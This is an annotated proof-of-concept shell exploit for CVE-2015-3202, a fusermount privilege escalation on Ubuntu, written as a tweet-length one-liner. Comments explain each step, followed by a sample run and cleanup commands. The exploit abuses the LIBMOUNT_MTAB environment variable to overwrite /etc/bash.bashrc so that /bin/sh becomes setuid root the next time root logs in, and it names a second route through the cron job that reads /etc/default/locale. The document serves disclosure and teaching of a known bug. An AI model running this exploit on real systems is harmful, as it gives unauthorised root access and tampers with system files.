# Making a demo exploit for CVE-2015-3202 on Ubuntu fit in a tweet.
12345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890
a=/tmp/.$$;b=chmod\ u+sx;echo $b /bin/sh>$a;$b $a;a+=\;$a;mkdir -p $a;LIBMOUNT_MTAB=/etc/$0.$0rc _FUSE_COMMFD=0 fusermount $a #CVE-2015-3202
# Here's how it works, $a holds the name of a shellscript to be executed as
# root.
a=/tmp/.$$;
# $b is used twice, first to build the contents of shellscript $a, and then as
# a command to make $a executable. Quotes are unused to save a character, so
# the seperator must be escaped.
b=chmod\ u+sx;
# Build the shellscript $a, which should contain "chmod u+sx /bin/sh", making
# /bin/sh setuid root. This only works on Debian/Ubuntu because they use dash,
# and dont make it drop privileges.
#
#
echo $b /bin/sh>$a;
# Now make the $a script executable using the command in $b. This needlessly
# sets the setuid bit, but that doesn't do any harm.
$b $a;
# Now make $a the directory we want fusermount to use. This directory name is
# written to an arbitrary file as part of the vulnerability, so needs to be
# formed such that it's a valid shell command.
a+=\;$a;
# Create the mount point for fusermount.
mkdir -p $a;
# fusermount calls setuid(geteuid()) to reset the ruid when it invokes
# /bin/mount so that it can use privileged mount options that are normally
# restricted if ruid != euid. That's acceptable (but scary) in theory, because
# fusermount can sanitize the call to make sure it's safe.
#
# However, because mount thinks it's being invoked by root, it allows
# access to debugging features via the environment that would not normally be
# safe for unprivileged users and fusermount doesn't sanitize them.
#
# Therefore, the bug is that the environment is not cleared when calling mount
# with ruid=0. One debugging feature available is changing the location of
# /etc/mtab by setting LIBMOUNT_MTAB, which we can abuse to overwrite arbitrary
# files.
#
# In this case, I'm trying to overwrite /etc/bash.bashrc (using the name of the
# current shell from $0...so it only works if you're using bash!).
#
# The line written by fusermount will look like this:
#
# /dev/fuse /tmp/.123;/tmp/.123 fuse xxx,xxx,xxx,xxx
#
# Which will try to execute /dev/fuse with the paramter /tmp/_, fail because
# /dev/fuse is a device node, and then execute /tmp/_ with the parameters fuse
# xxx,xxx,xxx,xxx. This means executing /bin/sh will give you a root shell the
# next time root logs in.
#
# Another way to exploit it would be overwriting /etc/default/locale, then
# waiting for cron to run /etc/cron.daily/apt at midnight. That means root
# wouldn't have to log in, but you would have to wait around until midnight to
# check if it worked.
#
# And we have enough characters left for a hash tag/comment.
LIBMOUNT_MTAB=/etc/$0.$0rc _FUSE_COMMFD=0 fusermount $a #CVE-2015-3202
# Here is how the exploit looks when you run it:
#
# $ a=/tmp/_;b=chmod\ u+sx;echo $b /bin/sh>$a;$b $a;a+=\;$a;mkdir -p $a;LIBMOUNT_MTAB=/etc/$0.$0rc _FUSE_COMMFD=0 fusermount $a #CVE-2015-3202
# fusermount: failed to open /etc/fuse.conf: Permission denied
# sending file descriptor: Socket operation on non-socket
# $ cat /etc/bash.bashrc
# /dev/fuse /tmp/_;/tmp/_ fuse rw,nosuid,nodev,user=taviso 0 0
#
# Now when root logs in next...
# $ sudo -s
# bash: /dev/fuse: Permission denied
# # ls -Ll /bin/sh
# -rwsr-xr-x 1 root root 121272 Feb 19 2014 /bin/sh
# # exit
# $ sh -c 'id'
# euid=0(root) groups=0(root)
#
# To repair the damage after testing, do this:
#
# $ sudo rm /etc/bash.bashrc
# $ sudo apt-get install -o Dpkg::Options::="--force-confmiss" --reinstall -m bash
# $ sudo chmod 0755 /bin/sh
# $ sudo umount /tmp/.$$\;/tmp/.$$
# $ rm -rf /tmp/.$$ /tmp/.$$\;
#
